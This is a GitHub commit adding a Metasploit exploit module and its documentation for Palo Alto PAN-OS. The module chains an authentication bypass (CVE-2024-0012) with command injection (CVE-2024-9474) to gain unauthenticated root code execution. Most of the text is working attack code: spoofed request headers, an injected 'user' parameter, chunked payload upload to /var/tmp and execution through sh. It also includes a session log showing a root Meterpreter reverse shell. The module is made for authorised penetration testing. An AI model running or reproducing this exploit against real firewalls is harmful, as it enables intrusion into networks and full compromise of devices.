Skip to content

Commit e70b6c7

Browse files
authored
Merge pull request rapid7#19663 from sfewer-r7/CVE-2024-0012
Exploit module for PAN-OS management interface unauth RCE (CVE-2024-0012 + CVE-2024-9474)
2 parents ea00aa6 + edf8d18 commit e70b6c7

File tree

2 files changed

+357
-0
lines changed

2 files changed

+357
-0
lines changed
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
## Vulnerable Application
2+
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
3+
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
4+
execute arbitrary code with root privileges.
5+
6+
The following versions are affected:
7+
* PAN-OS 11.2 (up to and including 11.2.4-h1)
8+
* PAN-OS 11.1 (up to and including 11.1.5-h1)
9+
* PAN-OS 11.0 (up to and including 11.0.6-h1)
10+
* PAN-OS 10.2 (up to and including 10.2.12-h2)
11+
12+
## Testing
13+
Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example
14+
`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter
15+
will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup
16+
by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully
17+
run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed
18+
to change this upon logging in for the first time.
19+
20+
The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the
21+
payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`,
22+
and `cmd/unix/reverse_bash`.
23+
24+
## Verification Steps
25+
26+
1. Start msfconsole
27+
2. `use exploit/linux/http/panos_management_unauth_rce`
28+
3. `set RHOST <TARGET_IP_ADDRESS>`
29+
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
30+
5. `set LHOST eth0`
31+
5. `set LPORT 4444`
32+
6. `check`
33+
7. `exploit`
34+
35+
## Options
36+
37+
### WRITABLE_DIR
38+
The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the
39+
payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted.
40+
41+
## Scenarios
42+
43+
### Default
44+
45+
```
46+
msf6 exploit(linux/http/panos_management_unauth_rce) > show options
47+
48+
Module options (exploit/linux/http/panos_management_unauth_rce):
49+
50+
Name Current Setting Required Description
51+
---- --------------- -------- -----------
52+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
53+
RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
54+
RPORT 443 yes The target port (TCP)
55+
SSL true no Negotiate SSL/TLS for outgoing connections
56+
VHOST no HTTP server virtual host
57+
WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target.
58+
59+
60+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
61+
62+
Name Current Setting Required Description
63+
---- --------------- -------- -----------
64+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
65+
FETCH_DELETE false yes Attempt to delete the binary after execution
66+
FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes
67+
FETCH_SRVHOST no Local IP to use for serving payload
68+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
69+
FETCH_URIPATH no Local URI to use for serving payload
70+
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
71+
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
72+
LPORT 4444 yes The listen port
73+
74+
75+
Exploit target:
76+
77+
Id Name
78+
-- ----
79+
0 Default
80+
81+
82+
83+
View the full module info with the info, or info -d command.
84+
85+
msf6 exploit(linux/http/panos_management_unauth_rce) > check
86+
[+] 192.168.86.100:443 - The target is vulnerable.
87+
msf6 exploit(linux/http/panos_management_unauth_rce) > exploit
88+
89+
[*] Started reverse TCP handler on 192.168.86.42:4444
90+
[*] Running automatic check ("set AutoCheck false" to disable)
91+
[+] The target is vulnerable.
92+
[*] Uploading payload chunk 1 of 7...
93+
[*] Uploading payload chunk 2 of 7...
94+
[*] Uploading payload chunk 3 of 7...
95+
[*] Uploading payload chunk 4 of 7...
96+
[*] Uploading payload chunk 5 of 7...
97+
[*] Uploading payload chunk 6 of 7...
98+
[*] Uploading payload chunk 7 of 7...
99+
[*] Amalgamating payload chunks...
100+
[*] Executing payload...
101+
[*] Sending stage (3045380 bytes) to 192.168.86.100
102+
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000
103+
104+
meterpreter > getuid
105+
Server username: root
106+
meterpreter > sysinfo
107+
Computer : 192.168.86.100
108+
OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64)
109+
Architecture : x64
110+
BuildTuple : x86_64-linux-musl
111+
Meterpreter : x64/linux
112+
meterpreter >
113+
```
Lines changed: 244 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,244 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
19+
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
20+
execute arbitrary code with root privileges.
21+
22+
The following versions are affected:
23+
* PAN-OS 11.2 (up to and including 11.2.4-h1)
24+
* PAN-OS 11.1 (up to and including 11.1.5-h1)
25+
* PAN-OS 11.0 (up to and including 11.0.6-h1)
26+
* PAN-OS 10.2 (up to and including 10.2.12-h2)
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [
30+
'watchTowr', # Technical Analysis
31+
'sfewer-r7' # Metasploit module
32+
],
33+
'References' => [
34+
['CVE', '2024-0012'],
35+
['CVE', '2024-9474'],
36+
# Vendor Advisories
37+
['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'],
38+
['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'],
39+
# Technical Analysis
40+
['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/']
41+
],
42+
'DisclosureDate' => '2024-11-18',
43+
'Platform' => [ 'linux', 'unix' ],
44+
'Arch' => [ARCH_CMD],
45+
'Privileged' => true, # Executes as root on Linux
46+
'Targets' => [
47+
[
48+
'Default', {
49+
'Payload' => {
50+
# See the comment in the exploit method for how we calculated the payload Space value.
51+
'Space' => 5670,
52+
# We write the payload in chunks, which limits our total space, but is also slow, so we disable nops
53+
# to ensure the payload is as small as possible.
54+
'DisableNops' => true,
55+
'BadChars' => '\\\'"&'
56+
}
57+
}
58+
]
59+
],
60+
# NOTE: Tested with the payloads:
61+
# cmd/linux/http/x64/meterpreter_reverse_tcp
62+
# cmd/linux/http/x64/meterpreter/reverse_tcp
63+
# cmd/unix/reverse_bash
64+
'DefaultOptions' => {
65+
'RPORT' => 443,
66+
'SSL' => true,
67+
# A writable directory on the target for fetch based payloads to write to.
68+
'FETCH_WRITABLE_DIR' => '/var/tmp'
69+
},
70+
'DefaultTarget' => 0,
71+
'Notes' => {
72+
'Stability' => [CRASH_SAFE],
73+
'Reliability' => [REPEATABLE_SESSION],
74+
'SideEffects' => [IOC_IN_LOGS]
75+
}
76+
)
77+
)
78+
register_options(
79+
[
80+
OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp'])
81+
]
82+
)
83+
end
84+
85+
# Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to
86+
# confirm the target is vulnerable. The check routine will delete this file after it has been read.
87+
def check
88+
check_file_name = Rex::Text.rand_text_alphanumeric(4)
89+
90+
# NOTE: We set dontfail to true, as a check routine cannot fail_with().
91+
92+
# return Safe if we fail to trigger the vulnerability and execute a command.
93+
return CheckCode::Safe unless execute_cmd(
94+
"echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
95+
dontfail: true
96+
)
97+
98+
res = send_request_cgi(
99+
'method' => 'GET',
100+
'uri' => normalize_uri('unauth', check_file_name)
101+
)
102+
103+
return CheckCode::Unknown('Connection failed') unless res
104+
105+
if res.code == 200 && res.body.include?(check_file_name)
106+
107+
# return Unknown if we fail to trigger the vulnerability a second time.
108+
return CheckCode::Unknown unless execute_cmd(
109+
"rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
110+
dontfail: true
111+
)
112+
113+
return Exploit::CheckCode::Vulnerable
114+
end
115+
116+
CheckCode::Safe
117+
end
118+
119+
# We can only execute a short command upon each invocation of the command injection vulnerability. To execute
120+
# a Metasploit payload, we first write the payload to a file, but we do the file write in small
121+
# chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each
122+
# chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk.
123+
# We then amalgamate all these chunks together back into a single file, reconstituting the original payload.
124+
# Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being
125+
# executed twice, the payload will delete the single payload file upon the first execution of the payload,
126+
# causing any second attempt to execute the payload to fail.
127+
def exploit
128+
tmp_file_name = Rex::Text.rand_text_alphanumeric(4)
129+
130+
bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}"
131+
132+
idx = 1
133+
idx_prefix = ''
134+
135+
# Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
136+
# 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx
137+
# value. So by default, the chunk size will be 36. However this may change as we write the chunks.
138+
# To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
139+
# we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
140+
# sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
141+
# A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
142+
# we must recompute the chunk size, to ensure we dont go over the 63 character limit.
143+
chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length
144+
145+
# We display the progress to the user, so track that with a current and max chunk number.
146+
curr_chunk_number = 1
147+
148+
max_chunk_number = (bootstrap_payload.length / chunk_size) + 1
149+
150+
while bootstrap_payload && !bootstrap_payload.empty?
151+
152+
print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...")
153+
154+
chunk = bootstrap_payload[0, chunk_size]
155+
156+
bootstrap_payload = bootstrap_payload[chunk_size..]
157+
158+
execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}")
159+
160+
idx += 1
161+
162+
if idx > 9
163+
idx = 1
164+
idx_prefix += '9'
165+
# Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
166+
# next chunk must have 1 less character.
167+
chunk_size -= 1
168+
# If the payload was too big, and we run out of space in the command to write any chunk data, fail.
169+
# This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
170+
# available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
171+
# character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
172+
# would be a max MSF payload size of 5670 characters. Calculated with the command:
173+
# ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
174+
fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
175+
end
176+
177+
curr_chunk_number += 1
178+
end
179+
180+
print_status('Amalgamating payload chunks...')
181+
182+
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}")
183+
184+
print_status('Executing payload...')
185+
186+
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true)
187+
end
188+
189+
def execute_cmd(cmd, dontfail: false)
190+
user = "`#{cmd}`"
191+
192+
# There is a 63 character limit for the command injection.
193+
if user.length >= 64
194+
fail_with(Failure::BadConfig, 'Command too long for execute_cmd')
195+
end
196+
197+
vprint_status(user)
198+
199+
# Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474).
200+
res1 = send_request_cgi(
201+
'method' => 'POST',
202+
'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"),
203+
'headers' => {
204+
'X-PAN-AUTHCHECK' => 'off'
205+
},
206+
'keep_cookies' => true,
207+
'vars_post' => {
208+
'user' => user,
209+
'userRole' => 'superuser',
210+
'remoteHost' => '',
211+
'vsys' => 'vsys1'
212+
}
213+
)
214+
215+
unless res1&.code == 200
216+
if dontfail
217+
return false
218+
end
219+
220+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php')
221+
end
222+
223+
unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' }
224+
fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned')
225+
end
226+
227+
# Trigger the command injection (CVE-2024-9474).
228+
res2 = send_request_cgi(
229+
'method' => 'GET',
230+
'uri' => normalize_uri('index.php', '.js.map'),
231+
'keep_cookies' => true
232+
)
233+
234+
unless res2&.code == 200
235+
if dontfail
236+
return false
237+
end
238+
239+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map')
240+
end
241+
242+
true
243+
end
244+
end

0 commit comments

Comments
 (0)